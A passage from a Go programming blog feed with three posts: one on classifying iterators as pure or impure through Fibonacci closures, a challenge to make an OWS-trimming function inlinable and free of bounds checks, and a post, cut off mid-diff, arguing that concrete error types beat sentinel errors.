Posts on jub0bs.com

Pure vs. impure iterators in Go

Thu, 29 May 2025 07:00:00 +0000

TL;DR ¶

Go has now standardised iterators.
Iterators are powerful.
Being functions under the hood, iterators can be closures.
The classification of iterators suggested by the documentation is ambiguous.
Dividing iterators into two categories, “pure” and “impure”, seems to me preferrable.
Whether iterators should be designed as “pure” whenever possible is unclear.

The advent of iterators in Go ¶

The iterator pattern was popularised by the classic “Gang of Four” book as

[providing] a way to access the elements of an aggregate object sequentially without exposing its underlying representation.

Until recently, the data structures over which you could iterate via a for-range loop were limited to arrays (either directly or through a pointer), slices, strings, maps, channels, and integers. However, in the wake of Go 1.18’s support for parametric polymorphism (a.k.a. “generics”), Go 1.23 standardised the way of defining custom iterators, saw the addition of the iter package in the standard library, and welcomed a couple of iterator factories (i.e. functions or methods that return an iterator) in the slices and maps packages. And Go 1.24 marked the inception in the standard library of even more iterator factories, such as strings.SplitSeq:

// SplitSeq returns an iterator over all substrings of s separated by sep.
// The iterator yields the same strings that would be returned by Split(s, sep),
// but without constructing the slice.
// It returns a single-use iterator.
func SplitSeq(s, sep string) iter.Seq[string]

If you’re not familiar with the syntax and semantics of iterators in Go 1.23+, I recommend you peruse Ian Lance Taylor’s introductory post published on the Go blog.

Once you get past the first impression of bewilderment (“Why so many funcs?!”), it’s pretty smooth sailing. Moreover, callers of iterators typically are isolated from whatever complexity is involved in their implementation.

As a first example, consider the program below (playground), which features a factory function named fib0 that produces an iterator over the sequence of Fibonacci numbers:

package main

import (
	"fmt"
	"iter"
)

func fib0() iter.Seq[int] {
	return func(yield func(int) bool) {
		for a, b := 0, 1; yield(a); a, b = b, a+b {
			// deliberately empty
		}
	}
}

func main() {
	for n := range fib0() {
		if n > 100 {
			break
		}
		fmt.Printf("%d ", n)
	}
}

As you can expect, the program prints the Fibonacci numbers less than 100 in increasing order:

0 1 1 2 3 5 8 13 21 34 55 89

The power of iterators ¶

The standardisation of iterators is a welcome addition to the Go language. Iterators indeed provide tangible benefits:

They promote flexibility and separation of concerns: callers can remain oblivious about how the sequence is produced and can instead focus on what to do with the data; an iterator that abstracts the paginated consumption of GitHub’s API is a good example.
They encourage encapsulation insofar as they expose data as sequences that cannot be mutated like slices and maps can.
They have the potential to boost performance: instead of materialising a data structure containing the entire body of data, they dole out elements one by one only as required by the caller, thereby promising, in many (though not all) situations, a lower latency and reduced heap allocations; they’re also more performant than iterator implementations relying on channels.
They allow for infinite sequences (e.g. the sequence of prime numbers), an affordance that finite data structures like slices and maps never could provide.

Because iterators are so powerful, they’re likely to mushroom in libraries even beyond Go’s standard library. Therefore, to forestall any confusion in the discourse about iterators, the terminology surrounding them should be as precise as possible.

Official guidance on iterator classification ¶

The phrase “single-use iterator” may have caught your eye in strings.SplitSeq’s documentation. It is explained in a section of the iter package:

Most iterators provide the ability to walk an entire sequence: when called, the iterator does any setup necessary to start the sequence, then calls yield on successive elements of the sequence, and then cleans up before returning. Calling the iterator again walks the sequence again.

Some iterators break that convention, providing the ability to walk a sequence only once. These “single-use iterators” typically report values from a data stream that cannot be rewound to start over. Calling the iterator again after stopping early may continue the stream, but calling it again after the sequence is finished will yield no values at all. Doc comments for functions or methods that return single-use iterators should document this fact:
// Lines returns an iterator over lines read from r.
// It returns a single-use iterator.
func (r *Reader) Lines() iter.Seq[string]

This passage of the documentation seemingly divides iterators into two categories. I’ll attempt to elucidate them through a couple of examples.

An example of a “pure” iterator ¶

The result of my fib0 function clearly exemplifies the first category:

Most iterators provide the ability to walk an entire sequence: when called, the iterator does any setup necessary to start the sequence, then calls yield on successive elements of the sequence, and then cleans up before returning. Calling the iterator again walks the sequence again.

If we assign fib0’s result to a variable and then range over that iterator multiple times, we indeed walk the sequence of Fibonacci numbers from the beginning each time:

package main

import (
	"fmt"
	"iter"
)

func fib0() iter.Seq[int] {
	return func(yield func(int) bool) {
		for a, b := 0, 1; yield(a); a, b = b, a+b {
			// deliberately empty
		}
	}
}

func main() {
	seq := fib0()
	for n := range seq {
		if n > 10 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 100 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 1000 {
			break
		}
		fmt.Printf("%d ", n)
	}
}

Output:

0 1 1 2 3 5 8 
0 1 1 2 3 5 8 13 21 34 55 89 
0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987

In my interpretation of the documentation, the first category of iterators corresponds to externally pure functions, i.e. iterators that may internally rely on mutation but display no externally observable side effects. Therefore, “pure” seems to me an apt qualifier for such iterators; “stateless” comes a close second.

Example of a “single-use” iterator ¶

What about the second category?

Some iterators break that convention, providing the ability to walk a sequence only once. These “single-use iterators” typically report values from a data stream that cannot be rewound to start over. Calling the iterator again after stopping early may continue the stream, but calling it again after the sequence is finished will yield no values at all.

Consider the example below:

func fib1() iter.Seq[int] {
	a, b := 0, 1
	return func(yield func(int) bool) {
		for ; yield(a); a, b = b, a+b {
			// deliberately empty body
		}
	}
}

At a glance, iterator factory fib1 seems almost identical to fib0, and you would be forgiven to dismiss their difference in implementation as unimportant; in fact, you’d be in very good company if you did. However, the difference between fib1 and fib0, far from being merely cosmetic, actually changes the semantics of their results. To understand why, you need some familiarity with closures.

If necessary, refer to the appendix to this post for a refresher on closures.

Recall that, in Go, iterators are functions; as such, iterators can be closures! In fib0, variables a and b are declared within the resulting iterator. By contrast, in fib1, variables a and b are free variables of the resulting iterator, which also happens to mutate those variables. Therefore, if we repeatedly range over fib1’s result (playground) as we did over fib0’s result earlier, we observe a very different behaviour:

package main

import (
	"fmt"
	"iter"
)

func fib1() iter.Seq[int] {
	a, b := 0, 1
	return func(yield func(int) bool) {
		for ; yield(a); a, b = b, a+b {
			// deliberately empty
		}
	}
}

func main() {
	seq := fib1()
	for n := range seq {
		if n > 10 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 100 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 1000 {
			break
		}
		fmt.Printf("%d ", n)
	}
}

Output:

0 1 1 2 3 5 8 
13 21 34 55 89 
144 233 377 610 987

In plain terms, the iterator “remembers” where in the sequence of Fibonacci numbers the caller last stopped and, when the caller resumes ranging over it, the iterator picks up right where it left off; because the sequence produced by this iterator cannot be rewound but can be resumed, the iterator could perhaps be described as “single-use” but “resumable”.

A problematic classification ¶

The classification of iterators suggested in the documentation is not ideal, in my opinion.

First, its lack of a term for iterators that I described earlier as “pure” is puzzling. Among all iterators, “pure” iterators arguably distinguish themselves as the easiest ones to reason about; as such, don’t they deserve their own qualifier? A parallel with dynamical systems comes to mind: linear dynamical systems are singled out from nonlinear ones precisely because they’re regarded as simpler and much easier to apprehend.

Second, I find the description of the second category confusingly imprecise and ambiguous. In particular, whether the term “single-use” is intended to encompass only some or all “impure” iterators is unclear to me… and to other Gophers too, if the results of an informal poll that I recently ran on Gophers Slack are to be believed. If the “single-use” qualifier is intended for only a subcategory of “impure” iterators, I’m not sure why this subcategory should deserve a particular focus in the documentation. And if the “single-use” qualifier is intended for all “impure” iterators, it strikes me as a misnomer; after all, many forms of “impure” iterators are possible, not all of which could reasonably be described as “single-use”, as we shall see.

A wondrous zoo of “impure” iterators ¶

In the program below, the iterator resulting from fib2 (playground) could reasonably be described as “usable twice” and “non-resumable” (or, perhaps, restarting):

package main

import (
	"fmt"
	"iter"
)

func fib2() iter.Seq[int] {
	var n int
	return func(yield func(n int) bool) {
		if n > 1 {
			return
		}
		for a, b := 0, 1; yield(a); a, b = b, a+b {
			// deliberately empty body
		}
		n++
	}
}

func main() {
	seq := fib2()
	for n := range seq {
		if n > 10 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 100 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 1000 {
			break
		}
		fmt.Printf("%d ", n)
	}
}

Output:

0 1 1 2 3 5 8 
0 1 1 2 3 5 8 13 21 34 55 89

And, in the program below, the iterator resulting from fib3 (playground) could reasonably be described as “usable twice” and “resumable”:

package main

import (
	"fmt"
	"iter"
)

func fib3() iter.Seq[int] {
	var n int
	a, b := 0, 1
	return func(yield func(n int) bool) {
		if n > 1 {
			return
		}
		for ; yield(a); a, b = b, a+b {
			// deliberately empty body
		}
		n++
	}
}

func main() {
	seq := fib3()
	for n := range seq {
		if n > 10 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 100 {
			break
		}
		fmt.Printf("%d ", n)
	}
	fmt.Println()
	for n := range seq {
		if n > 1000 {
			break
		}
		fmt.Printf("%d ", n)
	}
}

Output:

0 1 1 2 3 5 8 
13 21 34 55 89

I’m sure you could think of more variations around this theme. As soon as function purity goes out the window, the possibilities are endless.

Should iterators be “pure” whenever possible? ¶

Another question arises: if “pure” iterators are easier to reason about than “impure” ones are, shouldn’t iterators be designed as “pure” whenever possible?

Performance considerations ¶

Perhaps they should, at least when we emphasise performance as a design criterion. “Pure” iterators indeed tend to incur fewer heap allocations than their “impure” counterparts do. Consider strings.Lines as a case study; shown below is its source code in Go 1.24.3:

// Lines returns an iterator over the newline-terminated lines in the string s.
// The lines yielded by the iterator include their terminating newlines.
// If s is empty, the iterator yields no lines at all.
// If s does not end in a newline, the final yielded line will not end in a newline.
// It returns a single-use iterator.
func Lines(s string) iter.Seq[string] {
	return func(yield func(string) bool) {
		for len(s) > 0 {
			var line string
			if i := IndexByte(s, '\n'); i >= 0 {
				line, s = s[:i+1], s[i+1:]
			} else {
				line, s = s, ""
			}
			if !yield(line) {
				return
			}
		}
		return
	}
}

The resulting iterator is “impure” because it mutates s, which happens to be its only free variable. As a consequence of escape analysis, s escapes to the heap:

$ go build -gcflags='-m=2' ./strings
-snip-
strings/iter.go:18:12: s escapes to heap:
-snip-

But strings.Lines could instead have been designed to produce a “pure” iterator:

 func Lines(s string) iter.Seq[string] {
        return func(yield func(string) bool) {
+               s := s // local copy!
                for len(s) > 0 {
                        var line string
                        if i := strings.IndexByte(s, '\n'); i >= 0 {
                                line, s = s[:i+1], s[i+1:]
                        } else {
                                line, s = s, ""
                        }
                        if !yield(line) {
                                return
                        }
                }
                return
        }
 }

In this alternative version of strings.Lines, its s parameter remains a free variable of the resulting iterator, but the iterator does not mutate that variable; instead, the iterator exclusively operates on a local copy of the source string. With this simple change, escape analysis no longer concludes that variable s needs escape to the heap, and one fewer memory allocation is required. See this related comment by Alan Donovan on GitHub.

However, performance is only one possible design criterion: as Ian Lance Taylor shrewdly pointed out to me, consistency in behaviour with closely linked iterator factories is another. For example, package bytes provides a function named Lines that’s analogous to strings.Lines; shown below is its source code in Go 1.24.3:

// Lines returns an iterator over the newline-terminated lines in the byte slice s.
// The lines yielded by the iterator include their terminating newlines.
// If s is empty, the iterator yields no lines at all.
// If s does not end in a newline, the final yielded line will not end in a newline.
// It returns a single-use iterator.
func Lines(s []byte) iter.Seq[[]byte] {
	return func(yield func([]byte) bool) {
		for len(s) > 0 {
			var line []byte
			if i := IndexByte(s, '\n'); i >= 0 {
				line, s = s[:i+1], s[i+1:]
			} else {
				line, s = s, nil
			}
			if !yield(line[:len(line):len(line)]) {
				return
			}
		}
		return
	}
}

As much as I’d like to redesign bytes.Lines so as to make its product “pure”, I can’t think of an efficient way to do so. Contrary to strings, slices are mutable; moreover, multiples slices can reference the same underlying array. Therefore, even if the resulting iterator were modified to operate on a local copy of the source slice, it still wouldn’t be “pure”, as demonstrated by the following program (playground):

package main

import (
	"bytes"
	"fmt"
	"iter"
	"os"
)

func main() {
	src := []byte("foo\nbar\nbaz\n")
	seq := Lines(src)
	for s := range seq {
		os.Stdout.Write(s)
	}
	for s := range seq { // pass that mutates the source slice
		if len(s) == 0 {
			continue
		}
		s[0] = 'a'
	}
	fmt.Println()
	for s := range seq {
		os.Stdout.Write(s)
	}
}

func Lines(s []byte) iter.Seq[[]byte] {
	return func(yield func([]byte) bool) {
		s := s // local copy
		for len(s) > 0 {
			var line []byte
			if i := bytes.IndexByte(s, '\n'); i >= 0 {
				line, s = s[:i+1], s[i+1:]
			} else {
				line, s = s, nil
			}
			if !yield(line[:len(line):len(line)]) {
				return
			}
		}
		return
	}
}

Output:

foo
bar
baz

aoo
aar
aaz

For bytes.Lines to produce a pure iterator, a “deep” copy of the source slice (i.e. a slice that would reference a clone of the source slice’s backing array) would be required (playground); and such an approach seems to me like it would defeat the purpose of iterators.

If bytes.Lines can’t easily be designed to produce a “pure” iterator, strings.Lines should arguably still return an “impure” iterator as well. In general, should iterator “purity” be pursued at all costs, or should consistency with related iterators be a factor? The jury is still out.

Conclusion ¶

As Austin Clements recently wrote:

Iterators are still young in Go […]

Conventions around iterators have not yet been firmly established, let alone percolated through the Go community; there is still room for experimentation and time to iron the terminology kinks out. The sooner, the better, though, if you ask me.

Acknowledgments ¶

Thanks to Valentin Deleplace for spurring me to write this post and for reviewing an early draft of it.

Appendix: refresher on closures ¶

A closure is a function that captures variables declared in an outer lexical scope. Such variables are called free variables of the function in question. In the following example, anonymous function f reads a variable named truth that is declared in the main function:

package main

import "fmt"

func main() {
	truth := true
	f := func() bool { return truth }
    fmt.Println(f())
}

Output:

true

So far, nothing to write home about. However, the power of closures lies in their ability to update their free variables! Such closures essentially are stateful functions: functions that maintain a state (composed of their free variables) from one invocation to the next.

In the following example (playground), factory function falseAfterN returns a closure that captures a local variable named truth, updates that variable during each invocation, and varies its boolean results on the basis of the free variable’s value:

package main

import "fmt"

func falseAfterN(n uint) func() bool {
	var count uint
	return func() bool {
		if count < n {
			count++
			return true
		}
		return false
	}
}

func main() {
	const n = 4
	f := falseAfterN(n)
	for i := range 2 * n {
		fmt.Printf("%d %t\n", i, f())
	}
}

If you’ve been writing Go for some time, you’ve likely used closures, perhaps even without realising that you were. In the classic example of a concurrent program (playground) shown below, the anonymous function is a closure, since it captures (and acts on) variables i and wg, which are both declared in an outer scope:

package main

import (
	"fmt"
	"sync"
)

func main() {
	var wg sync.WaitGroup
	for i := range 10 {
		wg.Add(1)
		go func() {
			defer wg.Done()
			fmt.Println(i)
		}()
	}
	wg.Wait()
}

Challenge: make this Go function inlinable and free of bounds checks

Wed, 30 Apr 2025 20:45:00 +0000

In this post, I challenge you to refactor a small Go function in such a way as to make it inlinable and free of bounds checks, for better performance.

Disclaimer: this post assumes version 1.24.2 of the (official) Go compiler; you may get different results with other versions of the Go compiler or with other implementations of the Go language.

Function inlining & bounds-check elimination ¶

Some familiarity with function inlining and bounds-check elimination is a prerequisite for attempting my challenge. The following three sections serve as a crash course on those topics. Feel free to skip straight to the challenge itself.

Function inlining 101 ¶

Inlining is a compiler strategy that can roughly be described as “substituting the body of a function for calls to that function”. Because it eliminates some function-call overhead, inlining often results in faster program execution. However, function inlining also increases the size of the resulting binaries, and indiscriminate inlining could cause compilers to produce prohibitively large binaries. Therefore, compilers typically restrict eligibility for inlining to functions that they deem “simple enough”.

For each function, the Go compiler allocates an inlining budget and computes an inlining cost. If a function’s inlining cost does not exceed its budget, the compiler deems the function eligible for inlining (a.k.a. inlinable) and inlines it; otherwise, it doesn’t. At the time of writing (Go 1.24.2), the default inlining budget is 80, but the compiler may, thanks to profile-guided optimisation (PGO), decide to increase the inlining budget for functions called on the hot path; for this post, let’s keep things simple and ignore PGO, though. However, the presence of some language constructs (such as recursion, “go” statements, “defer” statements, and calls to the recover function) in a function outright bars the latter from being inlined. The Go compiler’s inlining strategy is not specified by the language itself and may change from one release to the next.

The most straightforward way to determine whether a function is eligible for inlining is to run a command of the following form and inspect its output:

$ go build -gcflags '-m=2'  2>&1 | grep <function-name>

Even if a function is inlinable, you may occasionally want to prevent it from being inlined; you can instruct the compiler not to inline a function by adding a //go:noinline directive above the function’s declaration. But you cannot force the compiler to inline arbitrary functions, for reasons explained above; a more thorough rationale for this limitation can be found in issue #21536.

By refactoring an initially non-inlinable function (and/or by relaxing its semantics), you can sometimes lower a function’s inlining cost to the point of making it eligible for inlining; however, unless you’re very familiar with the Go compiler’s inliner (and keep abreast of changes brought to it by maintainers of the Go project), you may (rightly) feel that making a function eligible for inlining is more an art than a science.

Bounds-check elimination 101 ¶

I touched upon bounds-check elimination (BCE) in a post published earlier this year on this blog; allow me to quote it:

[…] Go is said to be memory-safe; in particular, per the language specification, implementations must trigger a run-time panic if a slice-indexing operation is ever out of bounds. Such bounds checks are relatively cheap, but they are not free. When the compiler can prove that some slice access cannot be out of bounds, it may omit, for better performance, the corresponding bounds check from the resulting executable.

What I wrote about slices in that post is also true of strings, which, under the hood, are little more than slices of bytes.

Bounds-check elimination, like inlining strategies, remains an implementation detail; it is not specified by the language itself and may change from one release of the Go compiler to the next.

To identify where the Go compiler introduces bounds checks in a package, run a command of the following form:

$ go build -gcflags '-d=ssa/check_bce/debug=1'

The presence of bounds checks is not systematically detrimental to performance, and eliminating all bounds checks from a program often proves impossible anyway. However, eliminating some bounds checks, perhaps by hoisting them out of loops, typically is conducive to faster program execution. You can find instances of hoisting bounds checks out of loops in Go’s standard library.

Despite frequent improvements to the Go compiler’s BCE logic, you sometimes need to refactor your code in order to convince the compiler to eliminate or displace some bounds checks. This too is more an art than a science, and typically requires some trial and error.

A delicate balancing act ¶

Function inlining and BCE are closely intertwined. Inlinability sometimes comes at the cost of a couple of additional bounds checks; conversely, eliminating some bounds checks may deprive a function from its eligibility for inlining. But in some lucky cases, you can have your cake and eat it too!

Here is a tip that I’ve learnt from experience: eliminating bounds checks first and achieving inlinability second tends to be easier than the other way around or doing both in one fell swoop.

Can you make this function inlinable and free of bounds checks? ¶

Consider the following source file (which I’ve uploaded to a Gist, for your convenience):

package headers

// TrimOWS trims up to n bytes of optional whitespace (OWS)
// from the start of and/or the end of s.
// If no more than n bytes of OWS are found at the start of s
// and no more than n bytes of OWS are found at the end of s,
// it returns the trimmed result and true.
// Otherwise, it returns some unspecified string and false.
func TrimOWS(s string, n int) (string, bool) {
	if s == "" {
		return s, true
	}
	s, ok := trimLeftOWS(s, n)
	if !ok {
		return "", false
	}
	s, ok = trimRightOWS(s, n)
	if !ok {
		return "", false
	}
	return s, true
}

func trimLeftOWS(s string, n int) (string, bool) {
	var i int
	for len(s) > 0 {
		if i > n {
			return "", false
		}
		if !isOWS(s[0]) {
			break
		}
		s = s[1:]
		i++
	}
	return s, true
}

func trimRightOWS(s string, n int) (string, bool) {
	var i int
	for len(s) > 0 {
		if i > n {
			return "", false
		}
		if !isOWS(s[len(s)-1]) {
			break
		}
		s = s[:len(s)-1]
		i++
	}
	return s, true
}

// See https://httpwg.org/specs/rfc9110.html#whitespace.
func isOWS(b byte) bool {
	return b == '\t' || b == ' '
}

The implementation of TrimOWS above incurs no bounds checks, as evidenced by the empty output of the following command:

$ go build -gcflags '-d=ssa/check_bce/debug=1'
$

However, it is not inlinable:

$ go build -gcflags '-m=2' 2>&1 | grep TrimOWS
./ows.go:9:6: cannot inline TrimOWS: function too complex: \
    cost 130 exceeds budget 80

Here is my challenge to you: can you refactor function TrimOWS so that it be inlinable (without relying on profile-guided optimisation) and free of bounds checks?

To allow you to catch bugs as you refactor the code, I’ve included a suite of unit tests; and to allow you to later measure performance changes between implementations, I’ve also included some benchmarks:

package headers

import "testing"

const maxOWS = 1 // number of OWS bytes tolerated on either side

var trimOWStests = []struct {
	desc string
	s    string
	want string
	ok   bool
}{
	{
		desc: "empty",
		s:    "",
		want: "",
		ok:   true,
	}, {
		desc: "no OWS",
		s:    "foo",
		want: "foo",
		ok:   true,
	}, {
		desc: "internal OWS",
		s:    "foo  \t\tbar",
		want: "foo  \t\tbar",
		ok:   true,
	}, {
		desc: "leading and trailing OWS",
		s:    "\tfoo ",
		want: "foo",
		ok:   true,
	}, {
		desc: "a tolerated amount of OWS around non-OWS",
		s:    " a ",
		want: "a",
		ok:   true,
	}, {
		desc: "a tolerated amount of OWS and nothing else",
		s:    "\t ",
		want: "",
		ok:   true,
	}, {
		desc: "non-OWS whitespace",
		s:    "\nfoo\t",
		want: "\nfoo",
		ok:   true,
	}, {
		desc: "too much leading OWS",
		s:    " \tfoo\t",
		ok:   false,
	}, {
		desc: "too much trailing OWS",
		s:    " foo\t ",
		ok:   false,
	}, {
		desc: "too much leading and trailing OWS",
		s:    " \tfoo\t ",
		ok:   false,
	},
}

func TestTrimOWS(t *testing.T) {
	for _, tc := range trimOWStests {
		f := func(t *testing.T) {
			allocs := testing.AllocsPerRun(10,
				func() { str, truth = TrimOWS(tc.s, maxOWS) },
			)
			if allocs > 0 {
				const tmpl = "TrimOWS(%q, %d) allocates %.2f objects"
				t.Errorf(tmpl, tc.s, maxOWS, allocs)
			}
			got, ok := TrimOWS(tc.s, maxOWS)
			if !tc.ok && ok {
				// In cases where TrimOWS must fail,
				// its string result is unspecified.
				const tmpl = "TrimOWS(%q, %d): _, %t; want _, %t"
				t.Fatalf(tmpl, tc.s, maxOWS, ok, tc.ok)
			}
			if tc.ok && (!ok || got != tc.want) {
				const tmpl = "TrimOWS(%q, %d): %q, %t; want %q, %t"
				t.Errorf(tmpl, tc.s, maxOWS, got, ok, tc.want, tc.ok)
			}
		}
		t.Run(tc.desc, f)
	}
}

func BenchmarkTrimOWS(b *testing.B) {
	for _, tc := range trimOWStests {
		f := func(b *testing.B) {
			for range b.N {
				str, truth = TrimOWS(tc.s, maxOWS)
			}
		}
		b.Run(tc.desc, f)
	}
}

var ( // sinks for avoiding dead-code elimination in benchmarks
	str   string
	truth bool
)

To control the benchmark loop, I’m deliberately relying on b.N rather than on b.Loop because b.Loop currently precludes inlining; see issue #73137.

Ready for some micro-optimisation? Clone the Gist and cd into your clone:

$ git clone https://gist.github.com/jub0bs/0aca3c6bd041e838fe4add58a060be35
$ cd 0aca3c6bd041e838fe4add58a060be35

And off you go!

Hints ¶

Here is series of hints that you might find useful in case you get stuck; click on each hint to reveal it, as needed.

Hint 0

Why concrete error types are superior to sentinel errors

Mon, 31 Mar 2025 16:15:00 +0000

TL;DR ¶

Exported concrete error types are superior to sentinel errors. They can be more performant, cannot be clobbered, and promote extensibility.
Third-party function errutil.Find is a powerful alternative to standard-library function errors.As.

Setting the scene ¶

Imagine that you’re writing a package named bluesky whose purpose is to check the availability of usernames on Bluesky, the up-and-coming social-media platform:

package bluesky

func IsAvailable(username string) (bool, error) {
  // actual implementation omitted
  return false, nil
}

Calls to IsAvailable may fail (i.e. return a non-nil error value) for various reasons: username may not be valid on Bluesky; or there may be technical difficulties that prevent the function from determining username’s availability on Bluesky. You anticipate that clients of your package will wish to programmatically react to function IsAvailable’s various failure cases, and you intend to design your package to allow them to do so.

Sentinel errors ¶

The most popular and most straightforward approach consists in exporting distinguished error variables, a.k.a. sentinel errors:

package bluesky

import (
  "errors"
  "math/rand/v2"
)

var ErrInvalidUsername = errors.New("invalid username")

var ErrUnknownAvailability = errors.New("unknown availability")

func IsAvailable(username string) (bool, error) {
  // actual implementation omitted
  switch rand.IntN(3) {
  case 0:
    return false, ErrInvalidUsername
  case 1:
    return false, ErrUnknownAvailability
  default:
    return false, nil
  }
}

Here is an example of client code reacting to such sentinel errors:

package main

import (
  "errors"
  "fmt"
  "os"
  "strconv"

  "example.com/bluesky"
)

func main() {
  if len(os.Args) < 2 {
    fmt.Fprintf(os.Stderr, "usage: %s \n", os.Args[0])
    os.Exit(1)
  }
  username := os.Args[1]
  avail, err := bluesky.IsAvailable(username)
  if errors.Is(err, bluesky.ErrInvalidUsername) {
    const tmpl = "%q is not valid on Bluesky.\n",
    fmt.Fprintf(os.Stderr, tmpl, username)
    os.Exit(1)
  }
  if errors.Is(err, bluesky.ErrUnknownAvailability) {
    const tmpl = "The availability of %q on Bluesky could not be checked.\n",
    fmt.Fprintf(os.Stderr, tmpl, username)
    os.Exit(1)
  }
  if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
  fmt.Println(strconv.FormatBool(avail))
}

Concrete error types ¶

Here is another possible approach: for each distinguished failure case, export one concrete error type based on an empty struct and equipped with an Error method that uses a pointer receiver.

package bluesky

import "math/rand/v2"

type InvalidUsernameError struct{}

func (*InvalidUsernameError) Error() string {
  return "invalid username"
}

type UnknownAvailabilityError struct{}

func (*UnknownAvailabilityError) Error() string {
  return "unknown availability"
}

func IsAvailable(username string) (bool, error) {
  // actual implementation omitted
  switch rand.IntN(3) {
  case 0:
    return false, new(InvalidUsernameError)
  case 1:
    return false, new(UnknownAvailabilityError)
  default:
    return false, nil
  }
}

Here is an example of client code reacting to such concrete error types:

package main

import (
  "errors"
  "fmt"
  "os"
  "strconv"

  "example.com/bluesky"
)

func main() {
  if len(os.Args) < 2 {
    fmt.Fprintf(os.Stderr, "usage: %s \n", os.Args[0])
    os.Exit(1)
  }
  username := os.Args[1]
  avail, err := bluesky.IsAvailable(username)
  var iuerr *bluesky.InvalidUsernameError
  if errors.As(err, &iuerr) {
    const tmpl = "%q is not valid on Bluesky.\n",
    fmt.Fprintf(os.Stderr, tmpl, username)
    os.Exit(1)
  }
  var uaerr *bluesky.UnknownAvailabilityError
  if errors.As(err, &uaerr) {
    const tmpl = "The availability of %q on Bluesky could not be checked.\n",
    fmt.Fprintf(os.Stderr, tmpl, username)
    os.Exit(1)
  }
  if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
  fmt.Println(strconv.FormatBool(avail))
}

I contend that such error types are often preferrable to sentinel errors, for three reasons:

Performance: checking for an error type can be faster than checking for a sentinel error value.
Non-reassignability: contrary to an exported variable, a type cannot be clobbered.
Extensibility: such types can be enriched with additional fields carrying contextual information about the failure in a backward-compatible manner.

In the remainder of this post, I shall substantiate each of these claims in more detail.

Performance ¶

errors.Is and errors.As are slow ¶

The release of Go 1.13 marked the inception of functions errors.Is and errors.As in the standard library:

package errors

func Is(err, target error) bool { /* ... */ }

func As(err error, target any) bool { /* ... */ }

Since then, errors.Is has gained popularity as a better alternative to a direct comparison (with == or !=) of an error value against a sentinel error; similarly, calls to errors.As have gradually superseded type assertions of an error value against a target type.

Unfortunately, despite their powerful tree-traversing semantics, errors.Is has taken its toll on performance, and so has errors.As. Both functions indeed rely on reflection to perform safety checks and forestall panics; and reflection can be slow, sometimes to the point of becoming a performance bottleneck, especially in CPU-bound workloads (such as parsing X.509 certificates). You may be tempted to outright dismiss my performance concerns about errors.Is and errors.As, perhaps by arguing that, in typical programs, only the happy path needs be performant; but bear in mind that, at least in some programs, the happy path happens to be less exercised than unhappy paths.

Function errors.As actually relies on reflection even more heavily than function errors.Is does; moreover, its signature is such that a typical call to it incurs an allocation. Therefore, errors.As typically is much slower than errors.Is. Here are some benchmarks that pits them against each other, as well as against a more powerful alternative (errutil.Find), which I’ll introduce shortly:

package bluesky_test

import (
  "errors"
  "testing"

  "example.com/bluesky"
  "github.com/jub0bs/errutil"
)

var sink bool

func BenchmarkErrorChecking(b *testing.B) {
  b.Run("k=errors.Is", func(b *testing.B) {
    for b.Loop() {
      sink = errors.Is(bluesky.ErrInvalidUsername, bluesky.ErrInvalidUsername)
    }
  })
  b.Run("k=errors.As", func(b *testing.B) {
    var err error = new(bluesky.UnknownAvailabilityError)
    for b.Loop() {
      var target *bluesky.UnknownAvailabilityError
      sink = errors.As(err, &target)
    }
  })
  b.Run("k=errutil.Find", func(b *testing.B) {
    var err error = new(bluesky.UnknownAvailabilityError)
    for b.Loop() {
      _, sink = errutil.Find[*bluesky.UnknownAvailabilityError](err)
    }
  })
}

And here are some benchmark results comparing errors.Is and errors.As:

$ benchstat -col '/k@(errors.Is errors.As)' bench.out

goos: darwin
goarch: amd64
pkg: example.com/bluesky
cpu: Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
                │  errors.Is  │               errors.As               │
                │   sec/op    │    sec/op     vs base                 │
ErrorChecking-8   8.657n ± 6%   92.160n ± 9%  +964.51% (p=0.000 n=20)

                │ errors.Is  │          errors.As           │
                │    B/op    │    B/op     vs base          │
ErrorChecking-8   0.000 ± 0%   8.000 ± 0%  ? (p=0.000 n=20)

                │ errors.Is  │          errors.As           │
                │ allocs/op  │ allocs/op   vs base          │
ErrorChecking-8   0.000 ± 0%   1.000 ± 0%  ? (p=0.000 n=20)

At first sight, the scale tips more towards sentinel errors than towards concrete error types, since errors.Is is more than 10 times as fast as errors.As is, at least on my trusty 2016 Macbook Pro. But wait; there’s more.

Generics to the rescue ¶

Fortunately, thanks to generics, a better alternative to errors.As is possible, and one that adheres remarkably closely to errors.As’s semantics. I recently released such an alternative as part of my github.com/jub0bs/errutil library.

Edit (2026/04/09): Go 1.26 saw the addition of a function named errors.AsType, which has the same semantics as my errutil.Find function. If you’ve already migrated to Go 1.26, there’s no longer any point in relying on github.com/jub0bs/errutil; simply rely on errors.Astype instead.

package errutil

// Find finds the first error in err's tree that matches type T,
// and if so, returns the corresponding value and true.
// Otherwise, it returns the zero value and false.
//
// rest of the documentation omitted
//
func Find[T error](err error) (T, bool)

In general, calls to errors.As can advantageously be refactored to calls to errutil.Find, as shown in the diff below:

 package main

 import (
-  "errors"
   "fmt"
   "os"
   "strconv"

   "example.com/bluesky"
+  "github.com/jub0bs/errutil"
 )

 func main() {
   if len(os.Args) < 2 {
     fmt.Fprintf(os.Stderr, "usage: %s \n", os.Args[0])
     os.Exit(1)
   }
   username := os.Args[1]
   avail, err := bluesky.IsAvailable(username)
-  var iuerr *bluesky.InvalidUsernameError
-  if errors.As(err, &iuerr) {
+  if _, ok := errutil.Find[*bluesky.InvalidUsernameError](err); ok {
     const tmpl = "%q is not valid on Bluesky.\n",
     fmt.Fprintf(os.Stderr, tmpl, username)
     os.Exit(1)
   }
-  var uaerr *bluesky.UnknownAvailabilityError
-  if errors.As(err, &uaerr) {
